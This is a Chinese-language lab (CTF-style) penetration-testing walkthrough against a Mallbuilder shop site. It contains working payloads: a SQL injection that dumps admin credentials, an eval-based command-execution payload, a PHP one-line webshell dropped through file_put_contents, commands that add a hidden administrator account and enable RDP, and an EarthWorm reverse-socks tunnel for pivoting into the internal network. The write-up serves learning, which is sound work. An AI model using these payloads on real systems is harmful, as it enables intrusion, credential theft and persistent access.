记一次综合靶场实战渗透

2020-02-17 约 212 字 预计阅读 1 分钟

声明:本文 【记一次综合靶场实战渗透】 由作者 遗忘城 于 2020-02-17 09:26:09 首发 先知社区 曾经 浏览数 165 次

感谢 遗忘城 的辛苦付出!

前言

时间有点久,这里主要和大家分享一下思路。
该靶场是多层网络下的综合渗透,只开放了一个web端可以访问,其他均处于内网。

开始渗透

首先进入靶场开放的唯一一个开放的web端。

进入网站首页,发现是Mallbuilder,并且该版本有注入漏洞,可以直接获取管理员密码。

payload:

/cate_show_ajax.php?oper=ajax&call=get_cate POST catid=12313213131313113) and EXP(~(SELECT*FROM(SElect user FROM mallbuilder_admin)a limit 0,1 ))#

md5解密后得知admin 密码为:mall123!@#

可以通过sql注入获取第一个flag
payload:

/cate_show_ajax.php?oper=ajax&call=get_cate

post提交:
catid=12313213131313113) and EXP(~(SELECT*FROM(SElect flag FROM flag)a))#

得到第一个flag

登录管理账号admin 密码为 mall123!@# ,进入后台

查看源代码,发现第二个flag

网上没有公开的后台 getshell 的漏洞,需要下载一份源码进行简单的审计
源码地址:https://github.com/source-trace/mallbuilder
admin\module_translations.php 存在命令执行

<?php
    include_once("../includes/global.php"); 
    $script_tmp = explode('/', $_SERVER['SCRIPT_NAME']);
    $sctiptName = array_pop($script_tmp);
    include_once("auth.php");

    if(empty($_POST))
    {
        $refer_lang = $_GET['code'] =='en'?'cn':'en';   //基本参照语言
        $l = $rl = array();echo "start";
        @include_once($config['webroot'].'/module/'.$_GET['mod'].'/lang/'.$_GET['code'].'.php');

        @eval('$l =$_LANG_MOD_'.strtoupper($_GET['mod']).';');  
        @include_once($config['webroot'].'/module/'.$_GET['mod'].'/lang/'.$refer_lang.'.php');
        @eval('$rl =$_LANG_MOD_'.strtoupper($_GET['mod']).';');

        $diff_lang = @array_diff_key($rl,$l);
        $l += $diff_lang; 
        if($l=='')
            die($lang['translat_data_emp']);
    }else{
           if($config['enable_tranl']==0)
          {
                die($lang['tranl_fordid']);
          }
            include_once("../includes/lang_class.php");
            $tr_lang = new lang();
            foreach($tr_lang->module_files() as $key=>$mod)
            {   
                if(isset($_POST[strtolower($mod)]))
                {   
                    $tr_lang->save_module_files( $_POST[strtolower($mod)],$key,$_GET['code'] );
                    echo "<script>parent.window.succ_trans_tip('$key');</script>";
                    break;
                }
            }
            die();
    }
?>

mod 参数被带入 eval 执行,但是中间经过了 strtoupper 函数,这个在后期写马的时候需要注意

/admin/module_translations.php?mod=;system('whoami')

/admin/module_translations.php?mod=;system('dir')

发现flag.php

直接 type 读取

payload:

/admin/module_translations.php?mod=;system('type flag.php')

得到第三个flag

由于有cookie不能直接连接,所以先写一个马出来,需要注意strtoupper函数
经过测试,发现上传一句话木马只能用数字命名,如下例的1.php

/admin/module_translations.php?mod=;file_put_contents('1.php','<?php @eval($_POST[1]);?>')

使用菜刀连接(2333当时还是用的菜刀)

在C盘根目录下发现flag.txt,但是没有权限读取

打开Cknife的模拟终端,执行命令

net user simple 111Qqq... /add 添加一个叫做 simple的用户
net localgroup administrators simple /add 将 simple 添加到管理员组中
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 开启远程桌面
netstat -an 查看开放端口

发现3389端口开放成功,使用windows下自带的工具mstsc.exe进行远程桌面连接

使用创建的simple账户登录进入后找到在C盘根目录下的flag.txt 修改文件权限,即可读到第四个flag

在管理员桌面发现第五个flag

进入内网

除了一个开发web端可以直接访问,其他都是内网环境,需要做端口转发,这里用EarthWorm配合proxifier进行端口转发和全局代理设置。目的是可以通过本机访问内网环境。

EarthWorm官网包含使用教程:https://rootkiter.com/EarthWorm/

在端口转发之前首先在本地开启接收转发,使用Earthworm
命令: ew_for_Win.exe -s rcsocks -l 1080 -e 8888
显示start listen port here即可

使用菜刀将端口转发工具:Earthworm 上传到网站目录下,进入模拟终端,使用工具进行端口转发。
在模拟终端执行命令:ew_for_Win.exe -s rssocks -d 10.10.80.27 -e 8888

使用proxifier配置服务器代理,配置代理规则即可实现本机访问内网ip

后记

EarthWarm官网已停止更新并且停止下载,这里给大家分享:EarthWarm

另外内网穿透推荐使用nps,nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等……,并带有功能强大的web管理端。
地址:https://github.com/ehang-io/nps

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now